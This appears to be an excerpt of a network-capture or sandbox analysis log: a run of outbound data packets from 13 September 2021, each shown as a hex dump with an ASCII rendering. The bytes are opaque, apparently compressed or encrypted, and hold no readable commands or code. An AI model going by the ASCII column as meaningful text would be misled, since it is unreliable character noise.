2021-09-13 04:32:08 UTC	4214	OUT	Data Raw: d3 9e 16 38 fd c9 11 fc ad d8 4e 66 0f 51 20 99 0e 2a e9 c0 82 8e 08 4c e8 48 b2 1a a5 3c 22 a8 28 aa c8 a2 fc 28 6d 92 81 fa 88 b0 8a 23 2b 03 95 3c 6a 0c ef 7b bb 47 1c 11 98 c1 63 c2 f7 8a 8f 0a 8b 90 81 94 b8 f7 ab 64 44 9f 8c ee fb 95 d7 47 92 e4 9b dd ef 0d cd ca af bc a9 c3 ea af bc b5 60 e5 7e 6f 29 97 ab 20 bc ef 6b 5b 41 a2 02 08 12 09 a3 04 ef fe f2 28 b2 30 e2 0d 02 0c 92 53 1e 1b 7e 5e 13 df 23 18 d0 ba 3c 3d d4 75 60 ed b4 40 38 66 bb 9d fe cc 66 37 88 be 24 01 57 c3 df 16 99 7f c6 d3 9a b5 b0 ee da 59 4f 97 e9 ea 99 17 74 90 f9 67 59 dc 63 c0 67 3e c7 f1 3c 99 e6 0f a0 e0 18 f6 e1 8e ab ca bf d5 3b 5f 18 8e 23 48 72 d7 3e ea 6d 8e a5 17 7e 75 d9 5b c1 c8 a4 31 e8 a3 e4 59 50 61 54 a7 fc 8d 51 70 ed 34 4a b8 ae e0 9b 9f 28 c7 14 15 67 2d ad Data Ascii: 8NfQ *LH<"((m#+<j{GcdDG`~o) k[A(0S~^#<=u`@8ff7$WYOtgYcg><;_#Hr>m~u[1YPaTQp4J(g-
2021-09-13 04:32:08 UTC	4229	OUT	Data Raw: 9f 23 f5 f7 a3 3c 8c cd 8e b5 49 32 ce 7d 14 83 e6 9a 7b f9 bf 1c a5 58 e7 59 6c 5e e8 b7 ad 16 ca 32 a3 a4 2c 2f 7a 6b ec 99 e1 e5 e3 51 68 bb bf 94 4c fc 79 d8 fc 3c 15 28 ee 83 f1 d3 cc eb ee fd 31 08 93 bf 5d b8 12 54 c0 4d 73 15 a7 d2 66 f0 2a 7a a3 90 c9 3e a1 bb f1 51 a9 c2 99 2a 9e a5 f0 73 2b ab 0e a5 f0 13 b4 49 cc b0 68 c5 b9 d1 c4 d7 c8 bb f1 c0 92 cf 99 df 99 49 15 f7 52 d6 15 94 d2 cf c3 93 7e d9 72 91 7e 2a fe d2 8b 05 04 e0 08 12 b0 41 1f f9 37 a9 02 70 7b 7a 71 72 69 ca 3e 6d 8a 65 69 08 3d 87 14 c1 61 a8 76 42 73 5e 7a c1 4b 7d 40 35 25 1d 93 e4 df 55 35 49 fe 11 56 de 0d 81 36 f1 4d 4d 7d 31 9f 85 5f 2d fe b2 a6 be 2c f9 2c 22 f6 06 91 c4 5f a4 14 7f 00 9d e8 bb 82 cf 82 be b5 ca 79 23 08 40 ed c3 8b fb f1 72 04 60 ec ab ee 35 19 fc b2 Data Ascii: #<I2}{XYl^2,/zkQhLy<(1]TMsfz>Qs+IhIR~r~*A7p{zqri>mei=avBs^zK}@5%U5IV6MM}1_-,,"_y#@r`5
2021-09-13 04:32:08 UTC	4245	OUT	Data Raw: 41 42 a8 ee 80 fa 47 d6 5f 31 24 a0 ad f3 80 f9 74 5d 4d fd 48 eb ef 10 80 2c 01 cd bb 02 f0 ea 89 ca a0 e5 93 48 b3 0e 5b d4 77 cd 7b 80 d6 8d a3 00 c4 48 ad 90 15 3c 6a eb 2e a1 b3 0a 3e 3b e9 8b b7 8a cd 80 ff e1 65 a1 f3 8c 17 f5 07 51 7e 0a 04 d4 d3 ff 29 f2 cc 97 86 ce b3 57 a3 9b 98 b6 03 f0 19 72 0a 32 0c 51 69 0a a6 15 9d 87 66 ad 88 a0 43 8a 01 42 f0 3b 2c 0d 69 fb d8 27 e5 1f 57 97 65 22 bf 74 9e 82 69 6c e3 85 9b 8f 4f 00 a2 d9 30 a2 00 b1 2f e5 3e 73 13 52 fc 3d 1a 16 6d 2f c7 a5 c7 20 fb 8f 88 39 66 a5 19 a1 fb 9c d5 63 24 9f 03 f7 83 27 23 e1 76 11 f1 27 f0 34 d6 a1 6d 54 2f de 22 74 5f b8 71 da 56 b6 3f 8a 3d 6f 76 7e b6 bf 22 d7 70 bd 44 f8 31 7a 6d 14 08 4b bd a6 34 cd bf ab c7 83 fd 18 8f 00 44 73 59 44 01 3e 7f 83 d0 79 ce 1a 11 3d 76 Data Ascii: ABG_1$t]MH,H[w{H<j.>;eQ~)Wr2QifCB;,i'We"tilO0/>sR=m/ 9fc$'#v'4mT/"t_qV?=ov~"pD1zmK4DsYD>y=v
2021-09-13 04:32:08 UTC	4261	OUT	Data Raw: ae 67 d1 e5 9c 96 bf 6d f3 58 3f 52 fe 9b 00 d8 8e 9e a7 c6 36 4d 5e ec 83 15 68 6d 78 df b3 78 df 51 91 66 a5 1b c8 25 9b 23 01 8d 00 74 b7 4b d8 65 15 04 9d 59 96 e6 15 bf 33 3a b5 fc 1b 46 00 76 14 2b eb 4a 92 bc 33 0c 58 67 85 00 1c 9f 00 e4 11 5a 97 96 00 74 1e f0 53 5f 00 36 a5 9f 85 2b 41 8d 81 10 80 1f 11 95 50 c1 47 15 aa 36 ca e8 be 28 fa 6a b2 c1 10 76 bc a2 1d ae c0 69 45 ee 6a 91 27 2f 67 5c 11 52 52 8a 11 b3 8c fb 8f 29 a8 76 7d 79 e8 ed 72 0d 51 a7 63 bb 5e 4b bc 82 53 cc ab e6 d0 e7 9d 5f 11 7a b4 2f 1a 45 88 66 c5 dc 34 19 62 48 cf d3 b6 0b 23 db 10 5b d3 79 9d 4d e7 1b 6c 85 08 42 54 38 cf ab d9 8a ae 21 2a 9e 40 9b 1e e3 f3 ec b3 29 4f 80 38 50 8c a5 94 74 93 8d 97 e7 aa 6d ce 4d 34 f3 5b 4e 99 3f 4b bc ef 8c 84 2b f9 3c 6a e9 67 05 76 Data Ascii: gmX?R6M^hmxxQf%#tKeY3:Fv+J3XgZtS_6+APG6(jviEj'/g\RR)v}yrQc^KS_z/Ef4bH#[yMlBT8!*@)O8PtmM4[N?K+<jgv
2021-09-13 04:32:08 UTC	4277	OUT	Data Raw: 5a 21 7b 1d 7f df a8 d5 94 b9 6a 25 65 ae c4 b1 f2 31 a7 a4 a0 45 9b e3 da 08 bc 50 e6 a1 e9 73 73 71 12 cf 43 46 3b 6e 06 d9 2b f9 3a 32 99 2b f0 39 4f 0c 2a 7a dd ed 7d d0 48 4d 91 b8 b8 cf 36 3f a8 10 34 03 89 bc 97 8c 2a 2c f9 d6 88 c0 cc 70 8c 24 8c a8 40 2e 57 28 67 28 8f 47 32 47 2c a1 ec a1 8b 28 77 88 19 30 24 73 00 3f 4f 30 22 39 9e 6b 03 f9 19 89 e7 66 bf c9 94 ed 3b 81 f2 bd c7 ca ef 0d fc 33 55 5a 4e 74 e1 77 0e 7e 5b ca 7b 8d df 83 78 8f 42 04 42 02 02 fe 3d 20 ff 30 b4 2d 06 44 04 e2 b7 b7 15 7f 51 01 a8 04 02 50 d0 28 c0 10 5f ee 35 87 52 a2 ae 14 2a ff 4a 4a 40 6f 7f b1 fd a6 04 60 44 02 6e 88 02 50 51 d1 e7 84 5e b0 ce 89 b8 e6 08 c0 c8 e7 cd 76 4d 08 40 bb ad fb ae 00 5f e6 ad 0d 4e 00 96 22 22 f0 0c be ec 8b 61 b7 fb 63 2c 9a d0 22 02 Data Ascii: Z!{j%e1EPssqCF;n+:2+9Oz}HM6?4,p$@.W(g(G2G,(w0$s?O0"9kf;3UZNtw~[{xBB= 0-DQP(_5R*JJ@o`DnPQ^vM@_N""ac,"
2021-09-13 04:32:08 UTC	4293	OUT	Data Raw: 60 6e ee 1a 27 03 f3 f3 d6 50 05 a7 90 81 1b dd d6 40 df bd d3 44 05 fe ec 7e a2 5f 30 bf 7e 88 e8 0f 8b 88 fe fc 28 ef ff 61 a2 bf 3c 48 f4 d7 07 78 9a b7 f9 c3 42 a2 df dc 5a 47 ff c3 fb fb e9 cc 95 f4 c3 9b 96 d3 f7 a7 7d 4a df 9e f6 19 55 4d fb 84 2a a6 2f a3 8a 9b 97 53 e5 8c cf a9 e2 96 55 54 31 6b 35 55 cc e6 ef 9e c3 cc ad a3 ec 3c d0 40 d9 05 8d 86 f9 94 c0 cb d1 77 21 9a 33 4b 3f 86 b3 eb f9 b3 f5 94 bf 85 e1 73 ab 98 c1 cb 6f e6 74 7a 1d 15 6e ac 35 51 88 53 79 bf 93 98 09 d5 94 19 b3 82 32 d7 31 d7 f0 fd 86 08 bc 94 f3 cf 05 18 9c 86 cb c2 e9 5c de 4e 82 08 7c 9a 9f 11 10 81 fc 3c c2 f3 0d cf 51 bc 9f d1 1a 02 d1 80 68 1a 2c ff 50 e3 df 86 90 81 fc ee 94 c8 7b b4 1a e3 77 97 2f 02 25 98 04 fd d5 8b 08 e4 df c7 51 f9 07 9a 29 00 7f 7a ec de 22 Data Ascii: `n'P@D~_0~(a<HxBZG}JUM*/SUT1k5U<@w!3K?sotzn5QSy21\N\|<Qh,P{w/%Q)z"
2021-09-13 04:32:08 UTC	4309	OUT	Data Raw: 67 a2 f2 0f 94 13 80 9e 08 8c 89 bf 90 72 12 30 16 29 18 13 80 40 07 fe 58 55 5d 2b e9 e6 83 c6 8a 00 dc 6c 60 52 c7 d5 75 a7 5f 77 df 17 2e 00 b3 a3 1b 8c 04 14 ea 28 3b b6 de 00 11 38 ce c8 c0 dc 38 cc d7 8b 08 4c a8 13 0a 13 eb a9 c0 db 38 26 a5 45 20 06 11 c9 ea 48 c2 4e 06 02 9e 9f c9 a9 8e 22 3c b7 ce 89 c0 c2 bc 7a aa 9c df 40 55 0b ea a9 f5 82 3a 6a 3d 6f 0d 7d 67 7e 2d fd 88 a7 7f 7e 5b 3d fd df ed 8d f4 a7 85 44 9b dc c5 d7 ef 1e 33 68 48 3b 8c 1e bc 88 a8 c7 62 a2 be 4b 88 06 3e 41 74 c0 93 46 04 a2 89 f0 f0 a7 6b e8 f4 a5 6b e8 bc 17 d6 d0 25 2f d5 d2 95 2f af 91 26 bf d7 bf b2 86 6e 7a ab 81 e6 32 77 bc 4b 74 ef 7b 44 0f 7d 40 f4 d8 47 44 8b 3f 26 5a f2 09 f3 59 23 2d 59 56 4f 4f 2c ab a3 a7 97 d7 d3 52 e6 c5 65 0d f4 ca 67 a0 86 de 5a 5d 4b Data Ascii: gr0)@XU]+l`Ru_w.(;88L8&E HN"<z@U:j=o}g~-~[=D3hH;bK>AtFkk%//&nz2wKt{D}@GD?&ZY#-YVOO,RegZ]K
2021-09-13 04:32:08 UTC	4325	OUT	Data Raw: 23 00 33 7d 70 9f fa e1 9e f5 47 3a 00 0c c4 f4 3d 3e 9a 6f 30 7e 1f 31 a2 0f 64 47 6c 94 fc a8 cd da b4 b5 c3 c4 7a a9 9a dc 28 9d a7 36 4b d7 e9 22 dd 67 a2 3e 3d bd 59 a5 5f 97 99 6c 86 db a2 d3 6c d6 5b 35 a3 49 3a 02 46 e9 19 94 7a 46 f9 4c 47 d9 b4 7a 25 3f b5 41 72 53 6a 25 3b b9 4e c9 4d ac 55 32 e3 3d d8 7f 66 ec 56 c7 e8 2d 92 19 b9 49 32 23 36 47 72 2f 33 aa 21 c2 22 f0 48 4c ce 8d 69 41 5e 33 d6 a1 d4 6b 74 72 6f 94 14 18 e9 19 d1 22 99 e1 9e 11 9c 77 f9 59 0a 40 8a 42 a4 44 d7 e5 3a 23 b1 4d 32 0a d3 5e 24 16 a4 5f 31 91 00 f4 70 5e 9b 03 4f c0 31 4d c6 36 a6 20 6f b2 13 80 55 63 d7 ca 61 93 5e 91 2b 9f 5e 2d 4b 45 64 fa 6a 91 73 a6 ff 43 7a 5c f3 b0 f6 63 bd 5d 02 90 c3 4a b3 b0 ad 5e b7 51 8e fd d1 30 cf 50 65 e6 d2 3f 2b 9c de b4 69 93 d4 Data Ascii: #3}pG:=>o0~1dGlz(6K"g>=Y_ll[5I:FzFLGz%?ArSj%;NMU2=fV-I2#6Gr/3!"HLiA^3ktro"wY@BD:#M2^$_1p^O1M6 oUca^+^-KEdjsCz\c]J^Q0Pe?+i
2021-09-13 04:32:08 UTC	4341	OUT	Data Raw: 31 fd 82 db 57 b7 7d a4 e7 40 bc ed 5e 18 21 3d bb ec 2e 99 2e 3f 8f 7f 9e d8 67 a3 ed 2f 94 5e 9d 52 f6 15 ae 1b ee 7f 5b 05 20 d6 61 34 5f e6 4b e3 5d f9 39 15 e7 4b e9 b7 d7 27 a4 d7 e2 15 d2 6b d7 8f 48 66 87 2b dd be 3f b7 1f a6 c1 25 4b dc f5 dd e9 10 5c ab 43 a4 d7 42 bc 0c 2f 3b 1c f7 03 f3 a7 8e 94 95 2f 8e 92 9e bb 62 9e db 31 b1 c9 e3 bb f4 21 7c 6e a9 f4 ea ba 97 64 ba 5f e1 8e 1d e5 27 bb 73 20 4a 79 8f 22 e1 e9 cf 6d c7 03 75 1f 94 8a 99 5d 50 b6 c3 65 3b 1d 5c 58 b6 1f ca e5 07 02 b0 38 2f 99 1f 2e 4b 0a c0 34 e9 17 12 93 7c e0 03 01 d8 2a 69 d2 2f 24 4d f0 b5 c5 b6 08 c0 b4 e5 31 52 e4 1f 89 04 60 9a f0 23 81 f4 0b e5 9f 89 3f 92 3f 25 3e 40 48 1a 36 6a 30 b1 01 42 c2 48 40 6d 1a ec 25 60 5c 04 02 8d 0a a4 04 0c 29 25 00 1d 69 d2 2f c4 04 Data Ascii: 1W}@^!=..?g/^R[ a4_K]9K'kHf+?%K\CB/;/b1!\|nd_'s Jy"mu]Pe;\X8/.K4\|*i/$M1R`#??%>@H6j0BH@m%`\)%i/
2021-09-13 04:32:08 UTC	4357	OUT	Data Raw: 8d c1 f5 1f 89 73 19 51 27 65 da cc 0b e5 63 c8 d6 58 14 91 09 bb 48 da b1 52 eb 2b c5 56 31 76 e2 c0 0b 04 c0 3e ed 6c 70 8b fc 80 4d 0a 47 56 0d d1 e8 16 94 cf 5c 7f ec 13 64 ab 71 dd fa a1 c2 ca f2 ab 12 90 a0 bc 63 5b d9 6a 4b 1d a5 44 60 18 99 a8 78 01 a8 22 dd a3 7d 17 f6 7e 27 5d f6 a5 10 3d 7f 1a f9 e8 a6 93 d2 2f 84 c7 d1 ee 08 40 9e 27 2b fc 61 c4 9e 81 f3 54 2c 72 8b b2 c6 84 4d 00 07 b6 e1 7d e3 fd 2b 67 5f 5d a3 1a a4 62 0c ca ef d8 66 a9 c0 33 5a 81 67 b3 02 cf 26 cb 6f 87 e9 28 db 33 44 aa 50 5e 3a a1 dc 74 9a 23 2a fe 18 dd e7 22 fc 44 2a 00 47 f4 e6 28 df f9 99 2c a7 28 ef 78 0e 28 fa 54 f6 71 e0 9e 80 cc 2c 3c c7 33 f1 1c cc 40 99 27 94 7d 11 c8 c7 f2 ec 6c ac 8b e7 9a a9 46 0a 33 7f 4e a3 64 f1 9c 69 a4 f0 5c e4 cf c1 76 08 a6 73 f7 e1 Data Ascii: sQ'ecXHR+V1v>lpMGV\dqc[jKD`x"}~']=/@'+aT,rM}+g_]bf3Zg&o(3DP^:t#"DG(,(x(Tq,<3@'}lF3Ndi\vs
2021-09-13 04:32:08 UTC	4373	OUT	Data Raw: 1b d0 48 05 b6 47 03 ca 79 01 69 39 4e 24 a0 29 01 55 44 a0 4d 04 3a c9 3f 85 25 32 d0 21 22 50 49 40 c6 49 fa 39 12 a7 8a b0 5d 02 8a b9 02 75 34 01 e8 24 02 ab 8a 0c 54 58 52 85 6d 44 23 04 e9 c1 46 09 40 7e 20 e1 07 0a 25 00 bf 61 94 04 94 0f 07 8e 28 11 68 44 02 ba be a7 07 cb 01 f4 10 f9 03 3d 78 1a 12 90 23 02 45 54 a0 12 7f 3f d0 18 c6 94 80 f4 d0 6a c8 3c 25 00 ed a8 39 05 05 22 cd 38 8a 94 31 61 21 02 05 83 69 5d 45 58 0d a5 87 5b 43 0a 4a 64 1f cf df e6 d8 0a e8 b5 0c 99 12 23 04 a9 75 db 84 89 40 45 0c 72 3b 96 de a3 81 4a 1d 16 a9 c1 13 82 48 98 48 f0 5c 81 93 89 29 d4 3f 25 00 17 cf 79 36 8d d6 79 de 33 82 e7 44 53 b8 a7 31 21 21 01 eb 4c f3 8b 0a c3 f5 67 56 a2 e1 ac 0a 34 a2 07 f0 03 67 96 a0 e9 ac 62 1c 32 bb 18 47 a4 97 e3 d8 74 0f 3d 84 Data Ascii: HGyi9N$)UDM:?%2!"PI@I9]u4$TXRmD#F@~ %a(hD=x#ET?j<%9"81a!i]EX[CJd#u@Er;JHH\)?%y6y3DS1!!LgV4gb2Gt=
2021-09-13 04:32:08 UTC	4389	OUT	Data Raw: ea 22 50 a6 13 13 3c 4f dc 84 b0 98 9b ae e1 a0 bf 71 fa b0 d5 78 ef 8f 00 66 03 48 23 5e fc a5 12 a7 4f d8 80 46 e3 8a c4 1c 7f 09 13 08 16 78 93 e8 78 2c ef 54 b5 e2 09 30 ab cb 72 31 09 46 08 46 bd c2 2c 0b 40 21 01 69 3b 0b 25 43 f8 89 96 a3 cd 58 26 72 2b b6 d3 f1 85 28 a4 3e 1e 23 d2 8b a9 9d 4a 7d d3 68 5f 42 46 22 1a db 26 d1 f5 9d 1c 10 29 ca 8c 4a 2f 56 f3 11 d6 a3 07 6e 2e 52 22 98 52 8e 03 26 97 a2 f1 e4 62 1c 32 b5 10 47 4e 2f 41 b3 19 c5 38 8e 38 99 38 7b 76 29 9a a7 94 e2 d2 94 32 5c 99 56 8e b6 e9 65 b8 29 cb 83 ce b9 5e f4 28 08 e1 9e 05 5c 30 04 78 9a 1e f8 5f 58 09 bc bc 1a 78 63 0d f0 ee 5a e0 83 75 c0 c7 04 0b be 6f 37 49 31 38 60 33 f0 23 f1 93 c1 40 5e df 42 db b6 03 df ec 00 be 26 38 dd 98 53 8d 3f d8 08 bc f5 17 f0 fa 7a 3a 2e 1d Data Ascii: "P<OqxfH#^OFxx,T0r1FF,@!i;%CX&r+(>#J}h_BF"&)J/Vn.R"R&b2GN/A888{v)2\Ve)^(\0x_XxcZuo7I18`3#@^B&8S?z:.
2021-09-13 04:32:08 UTC	4405	OUT	Data Raw: 84 85 04 b4 88 40 22 89 c6 33 c9 44 bd 19 41 34 98 19 42 a3 59 61 34 4d 09 8b 79 03 8f 4c 0b 83 2b c6 1e 9f 15 c1 49 d9 11 9c 92 1d c2 69 86 10 e2 d4 50 8e fa e2 b9 df 44 ca 70 2e 47 6f 85 d0 96 b8 21 2f 80 9b f3 7c b2 b8 48 5e 05 7a e4 97 e3 ae 82 0a dc 37 cf 83 3e f3 3d 78 8c 78 ba a0 08 af cf df 89 ef 56 15 63 ee 4e 1f fe 04 b0 90 f8 6c 3d 70 f9 94 1d 38 f0 07 fa ad fb 92 be b3 1f 97 22 f1 ed 6d a8 f3 c6 16 24 bf b1 11 49 af 6f 80 fb d5 bf 84 00 3c f3 83 45 78 35 73 3b 56 94 03 3b 11 c6 c6 48 18 73 77 14 63 e6 e6 4a cc d8 0a a4 6d 03 b2 a8 cd a3 76 0e dd cf 73 77 10 2c 02 4b 68 9d 05 61 99 24 8f ee f3 ec 62 20 93 48 2f 04 52 09 9e ab 70 3a 8d 9f 42 fb 4d a4 63 70 f4 e0 c8 0d c0 b0 75 61 0c fe 23 80 1f fe f4 e3 eb 75 41 7c b8 d6 8f 77 7e f5 e0 d5 5f 3c Data Ascii: @"3DA4BYa4MyL+IiPDp.Go!/\|H^z7>=xxVcNl=p8"m$Io<Ex5s;V;HswcJmvsw,Kha$b H/Rp:BMcpua#uA\|w~_<
2021-09-13 04:32:08 UTC	4421	OUT	Data Raw: 22 5f ef cf 5a f5 f7 46 35 d5 37 d6 65 3e 67 4f f3 55 18 a8 16 03 b1 e1 2f 8d 7f 7a ca 6f 20 b5 e8 47 f4 96 e5 0c 80 34 da 84 d3 00 18 b9 9d 56 a3 f4 00 a0 e0 5f 18 02 d6 10 00 e6 7a be fd 3c 37 03 80 92 60 1c 25 a3 0b 7d fb 02 cf 21 04 54 98 67 23 9f 40 9f fb d8 44 cf e3 e7 d2 eb e9 7c 00 48 f8 47 69 fc 13 00 54 a3 ff f2 00 c0 6c 65 c3 c1 1d 00 80 6a 1a 70 82 f3 e1 5e 3e e5 03 80 94 a0 9f fd 58 5d 07 90 6e 13 10 7b 31 0d 80 fb 0f fa 14 ea 8f c7 3f 1e 35 00 9e 31 6a bb 1f 00 09 d6 3c f8 e6 6d 37 00 aa 0a 05 40 27 1b 00 29 77 5a 30 03 60 b6 51 80 1f 62 1e f8 93 aa 13 00 8b 46 27 61 af 51 00 fb 62 7f 1c 03 70 d8 38 80 63 b0 13 c7 25 e1 b4 c9 09 5e e5 95 00 f0 a1 39 9b 61 cc d7 09 06 c0 d1 65 c0 23 b8 8e 78 7e 1d fc ec 51 fc 7d f9 00 76 0f fe 3e bd 7d b5 1a Data Ascii: "_ZF57e>gOU/zo G4V_z<7`%}!Tg#@D\|HGiTlejp^>X]n{1?51j<m7@')wZ0`QbF'aQbp8c%^9ae#x~Q}v>}
2021-09-13 04:32:08 UTC	4437	OUT	Data Raw: 02 c0 c0 73 f2 06 c0 f5 5c 18 00 ca d4 5e c2 bf e8 03 9f 41 e4 41 95 0f fd ec 64 a5 5f 03 81 16 fe d9 00 68 7a 94 ae f3 97 4e 01 a0 4e 8f 06 e4 1c d8 cb 37 1f 00 da e0 e7 e6 c7 3f ca 81 3f 3b 1b 00 6d d0 b3 b2 b1 cf 57 36 00 a4 04 01 05 fa 6c 04 b4 b7 09 fc 05 a6 06 e3 f6 ea 00 c0 d6 f8 47 e5 6e 00 d4 b7 3f 52 00 8c 7c 84 9f 17 b3 01 d0 46 40 c2 3f 9e 12 3c 0a 7f c6 a8 d1 34 fd 57 8d fe 23 00 2c 1a 99 32 00 18 1b 59 c1 0b 81 1c 38 36 09 87 8c 05 f8 d7 b8 04 03 e0 1d f3 d5 08 40 fc 51 83 a1 5f 02 5c f1 c1 17 70 e0 23 2b f1 f7 d2 2a d8 e3 ce e5 0a 00 cd ef 75 ac cb 3c 03 80 a7 3d 3c 29 14 00 65 04 60 36 00 a4 d1 7d 17 4e 49 04 10 2f 38 c5 57 4f ed d5 b0 27 65 03 c0 46 f8 5e 84 7f 8d a7 5b f0 37 5d 4d 03 16 f8 63 fc a3 51 7f 35 0e 80 09 2e 1b 00 aa a9 bf 0a Data Ascii: s\^AAd_hzNN7??;mW6lGn?R\|F@?<4W#,2Y86@Q_\p#+*u<=<)e`6}NI/8WO'eF^[7]McQ5.
2021-09-13 04:32:08 UTC	4453	OUT	Data Raw: 8f bf 23 97 f2 ff 2e f8 00 70 cf 8e 0a 00 69 04 e0 ff d6 a8 11 80 02 80 37 8c ff 12 ae 9c a4 00 90 46 ff 11 00 d2 14 e0 06 53 d2 53 80 09 00 19 01 a7 05 a7 f4 ba 35 c4 63 7c 65 ec 77 00 b0 31 be 2f 95 0b 00 c3 ba 6c 7a 92 23 f4 cb 06 80 f2 f8 aa 99 49 4e 00 50 ae 05 28 00 d8 6c 76 8a ab 09 00 24 fc 0b 03 c0 8e b3 e3 59 01 30 6c 11 90 42 01 50 10 f0 de 85 1a 01 2d 00 a4 b2 01 a0 0f 01 5d 00 74 7b 62 45 82 11 30 e7 22 20 16 fe d9 00 a8 f0 2f 1c 00 09 fe 24 1f 00 12 fe 51 43 d7 a9 95 7f b3 01 e0 a3 0b b7 c3 d5 c3 d7 54 01 00 ff ef 74 0d 2d 2b a1 ef 19 fb e1 fd c3 21 f2 1b 4a 6f ab 1d 81 48 a4 25 de 2f 86 be a7 ee 05 b5 fb 15 03 0c c7 3f f6 7e 7d 30 44 7f f7 0f 88 1e a4 01 90 c0 ed 8f d7 32 e6 0d 6b 77 20 c3 52 84 46 ea fd 5e c1 57 94 40 ef 37 8d cc fe e8 3e Data Ascii: #.pi7FSS5c\|ew1/lz#INP(lv$Y0lBP-]t{bE0" /$QCTt-+!JoH%/?~}0D2kw RF^W@7>
2021-09-13 04:32:08 UTC	4469	OUT	Data Raw: 83 aa 04 e0 e8 c5 90 7c 86 31 9f 33 8b 8c fc 03 a6 ad 92 c6 2e 5a 4d 63 16 af a6 47 17 55 d0 d5 73 97 d0 99 af 7d 2d 02 70 ab 1e fc 3b e5 09 83 f8 77 ff 81 fc 39 e4 d2 ea 0a 40 f7 cf 4b d4 05 59 7a be 00 dc 68 6b c3 5f 1a 18 e1 86 6b d3 c5 22 0c 17 dc 76 84 1d 6f 05 e2 8b dd ec 78 be d7 06 d8 47 50 ef ef 0a 40 3b 07 ee 85 7d 01 f1 ac c8 f6 83 04 c4 33 1e 79 37 8f 20 7a a1 d7 6e dc b7 9f 29 f2 b1 e3 09 72 8c 7d 0a 73 de 73 8b 03 a5 38 49 72 17 2b 00 95 90 c0 12 9a 47 a8 b4 f3 c9 25 f7 42 7d 8a f6 ff 57 0a 40 bc 6f 36 53 32 b6 fc d7 ca bf 6a 09 c0 58 d6 9f c1 ec e9 97 2d f6 b4 6d ad 0b 40 b0 96 33 00 5d 7c 01 08 22 11 a5 f7 f1 9f 23 c2 b9 af 4b ec 19 f3 a0 f7 b1 c2 2a 17 ee b8 82 08 dd 6b 4d f0 5f 77 68 8c 4b d6 33 a1 9d a3 95 70 2a f2 44 be a1 cd 7f 8d 2a Data Ascii: \|13.ZMcGUs}-p;w9@KYzhk_k"voxGP@;}3y7 zn)r}ss8Ir+G%B}W@o6S2jX-m@3]\|"#KkM_whK3pD*
2021-09-13 04:32:08 UTC	4485	OUT	Data Raw: 3f 4f 00 32 d1 b2 e0 f3 e3 12 d0 c8 3f e6 fc 0f 84 ea 0a 40 90 1a 90 47 00 e6 42 e5 5f 35 25 60 48 ea 55 87 ea 08 40 39 86 f8 bb 9c c7 38 12 50 c4 9e 15 80 8a 91 77 ce 39 f7 8b 28 74 04 a0 1c a3 dd 8e 15 62 f2 8f 81 c4 fb 8d 05 60 24 fd 02 7b fe 81 e4 4d 28 fa 61 80 fc ab 0d 01 08 22 09 17 e8 53 5c 59 27 63 7d 61 57 15 01 01 98 ba 35 3e 67 6c de 40 16 a0 22 02 10 55 80 ad 00 2c b9 e3 67 11 80 f5 5e a9 a0 0b 16 f0 07 e0 1f 88 3a ce 36 19 80 10 80 90 7f c2 30 fa 53 00 2a 63 f9 3e 79 58 db 02 b0 2a 5c 61 27 d2 2e 30 a6 3a c4 e6 aa 05 01 78 d0 0b df 48 06 20 04 e0 b3 3f 13 75 78 e6 2b da f2 f2 99 46 00 e2 e7 3b 7e de 67 09 c0 89 91 00 bc fa a5 4f 68 de ea 8c 00 ec 39 ed 5b 6a 34 fe 47 6a 30 65 19 1d 33 65 35 1d 39 9d e8 88 a9 10 80 15 74 cc a4 52 11 80 ae 04 Data Ascii: ?O2?@GB_5%`HU@98Pw9(tb`${M(a"S\Y'c}aW5>gl@"U,g^:60Sc>yX\a'.0:xH ?ux+F;~gOh9[j4Gj0e3e59tR
2021-09-13 04:32:08 UTC	4501	OUT	Data Raw: ef a7 56 09 e9 a7 96 0b a9 a7 56 52 fa 69 fe 7a 3f bd 92 12 4f ad e0 39 97 f2 fd f9 fb e1 e9 25 b4 ee 33 bf d0 06 cf fe 4c 5b 3e b1 88 8e 7d e2 1d ba e5 93 65 34 9d 3f 73 8d e5 ef b7 d3 06 7f 48 9b f4 78 9d ea 76 9e 44 45 9d 66 f0 cf 8a a9 94 ee 3c 5e fe d3 22 d1 65 34 25 ba 3f c6 91 7f d6 74 19 46 ff ba f8 49 ba fd 95 4f 69 71 29 d1 7b ab f9 33 dc e7 cb a9 e5 eb f3 e9 d0 17 16 d2 21 af fe 4a fb bd ba 9c f6 15 56 d2 7e af ac a6 fd 5f 66 5e 5b 21 1c f0 ca 2a a6 94 f6 7d 79 45 c4 7e af ac 94 b1 7b bf c6 bc ba 9a f6 7a 6d 35 ed f3 46 19 ed f9 46 29 ed c1 fc 7b 1c c7 f1 65 f4 af 09 cc f8 72 da 63 dc 2a da 67 1c cf 3f 6e 99 b0 df f8 e5 b4 ff 04 9e 7b e2 ca 08 b4 f9 7d 07 4e 5a 15 61 32 0b cb 6c a6 a1 c9 2a 04 58 5e 7c d4 a4 32 3a 9a 8f c1 b1 3c e6 38 6e 3b 7e Data Ascii: VVRiz?O9%3L[>}e4?sHxvDEf<^"e4%?tFIOiq){3!JV~_f^[!}yE~{zm5FF){ercg?n{}NZa2l*X^\|2:<8n;~
2021-09-13 04:32:08 UTC	4517	OUT	Data Raw: 96 88 cc ab 18 24 01 31 89 45 5e 91 6d 4d 0c 12 24 08 b1 91 a0 32 75 b8 83 59 0f 50 31 d3 89 5f e5 6b 1e 29 fd 65 8d 3f 89 5c c4 d8 56 32 42 92 ca 36 ea b8 0d 49 41 64 3d c0 d1 86 0b de a4 c4 79 63 f9 f8 51 fc 5e a0 0d 0c 17 b1 87 ac d3 58 67 11 9f 39 59 8b 51 80 e8 83 28 e4 31 65 4a 34 de 43 fb d9 6c 8b cf 3b ff 6e b7 79 82 3f 87 fc bb d9 9a 7f 47 5b f1 ef 7f 2b fe bd 6f cd 60 bb 25 e0 36 de 4e b5 ee cd 3c 2e 24 5b 1a 12 2d f8 3b c1 01 d3 ef 11 e1 9b 3e 8d fb c9 9a 9f e0 31 2a 3c f5 31 29 cd 1a a2 fc dd a0 d1 7f 19 12 d0 4c 17 0e c8 10 82 fc 1d a7 88 f8 f3 90 64 1a 4c 90 ec c8 12 c8 3e 15 80 8a d6 5b 32 8e 0b e5 1f b6 55 d6 61 6d 41 9d 3e ec ae 25 08 61 e6 0b 34 17 39 a6 31 7f c7 3b a4 9b 60 3d 43 f0 40 84 64 13 fe ce 77 48 34 e6 bf 07 76 3b d5 d8 25 3a Data Ascii: 